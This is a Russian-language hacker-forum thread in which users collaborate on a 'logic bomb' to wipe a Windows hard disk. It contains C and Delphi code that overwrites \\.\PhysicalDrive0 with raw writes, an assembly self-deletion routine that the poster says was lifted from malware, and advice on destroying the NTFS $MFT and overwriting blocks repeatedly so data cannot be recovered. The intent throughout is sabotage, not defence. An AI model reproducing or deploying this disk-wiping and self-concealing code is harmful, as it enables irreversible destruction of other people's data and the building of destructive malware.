Пытаюсь написать так называемую логическую бомбу Смысл в том чтобы часть поверхности жесткого диска с виндой покрыть нолями первое что пришло в голову было это: Code: char buffer[512]; HANDLE fisdrive,f; DWORD num;int a; drive=CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL); for(;;) { for(int b=0;b<5;b++) { memset(buffer,0,512); SetFilePointer(drive,512*a,NULL,FILE_BEGIN); WriteFile(drive,buffer,512,&num,NULL); } a=a+1000; } Эксперементировал на вмваре .К сожалению виндовс загрузился и чекдиск все пофиксил .У кого нибудь есь идеи как уничтожить инфу на жестком диске?Возможно можно вычислить область где хранится резервная FAT таблица?
.data szBatchFile2 db ":k",13,10,"del %1",13,10,"if exist %1 goto k",13,10,"del %0",0 szBatchName2 db "a.bat",0 .code DoSelfDelete proc LOCAL hFile: DWORD LOCAL bWritten: DWORD invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH invoke lstrcpy, offset lpBuf1, offset lpBuf2 lea eax, lpBuf2 xor edx, edx @loop: cmp byte ptr[eax], '\' jne @next mov edx, eax @next: inc eax cmp byte ptr[eax], 0 jnz @loop inc edx mov byte ptr[edx], 0 invoke lstrcat, offset lpBuf2, offset szBatchName2 invoke CreateFile, offset lpBuf2, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0 mov hFile, eax inc eax jz @end invoke lstrlen, offset szBatchFile2 mov edx, eax invoke WriteFile, hFile, offset szBatchFile2, edx, addr bWritten, NULL invoke CloseHandle, hFile szText SelfDelQuoteFmt2, '"%s"' invoke wsprintf, offset lpBuf3, addr SelfDelQuoteFmt2, offset lpBuf1 xor eax, eax push SW_HIDE push eax push offset lpBuf3 push offset lpBuf2 push offset szTextOpen push eax call ShellExecute @end: ret DoSelfDelete end этот код из хинча!форматирует диск может поможет тебе ! обьясняю тебе структуру винта в самом начале храниться зсгрусчик(если это активный диск я думаю) после этого таблица фаилов(FAT) после этого корневой католок уже тлько после него данные! если ты убьешь ФАТ то востановить данные не составить труда а вот если убить и фат и данные то будет кул!
Да асмом я не владею.И ещё допустим удастся основную фат убить но насколько я знаю нтфс имеет резервную копию фат таблицы как с ней поступить?
2 _nic я вот юзал вот этот код: Он хоть и почти как твой, но всёже при тестах на виртуалке, уже после 10-20 секунд работы винда вообще немогла одуплится. т.е. негрузилась даже. Код начинает с самого начала забивать винт рожицей. Когда дохидит до файла подкачки(моё предположение), то винда вылетает в BSoD Если этот код запускается при загрузки системы. т.е. вмантирован в сервис. по просто винда долго грузится долговато,а потом вылетает в BSoD Если этот код работает хотябы 5 секунд то врядли уже что можно восстановить виндовыми прогами. Code: procedure killHDD(fn:string); var f:thandle; z,c:integer; buf:pointer; buf_len:integer; label m2; begin buf_len:=1024*4; getmem(buf,buf_len); asm push eax push ecx mov eax,buf xor ecx,ecx @m1: mov [eax+ecx],01010101h add ecx,4 cmp ecx,buf_len jb @m1 pop ecx pop eax end; m2: f:=fileopen(fn,2); if f=invalid_handle_value then exit; repeat writefile(f,buf^,buf_len,cardinal(z),nil); if z=0 then begin closehandle(f); buf_len:=buf_len-512; if buf_len=0 then exit; goto m2; end; until 1=0; end; юзать код так: killHDD('\\.\PhysicalDrive0');
ну если дело на то пошло, то в NTFS вместо FAT юзается системный файл с именем $MFT вот если затереть его, то уже восстановить врядли удастся виндовыми утилитами. Хотя EasyRecovery запросто найдет все файлы на винте. вот тока названия не будет у них.
моно и многоми другими прогами это все дело востановить!да а снозвание фаилов проблемы будут!но суть не в этом а в том что фаил мфс это и есть резервная копипая фат и краткого описания фаилов т.е. когда нехватает места на винте этот фаил урезаеться а фат ана и в африке фат и распологаться по идее должна сразу после загрузчика!(я так думаю) а вобще думаю что покрывать не вес винт 0 а ну допустим через блок или 2 блока... дело быстрей пойдет и фаилы толком не востановяться..... а что бы из никогда не востановить лучше каждый блок перезаписать 2-3 раза!
яж написал что из ксинча выдрал.... кстаи проверерял норм работает! а так все что знал про фат вроде написал...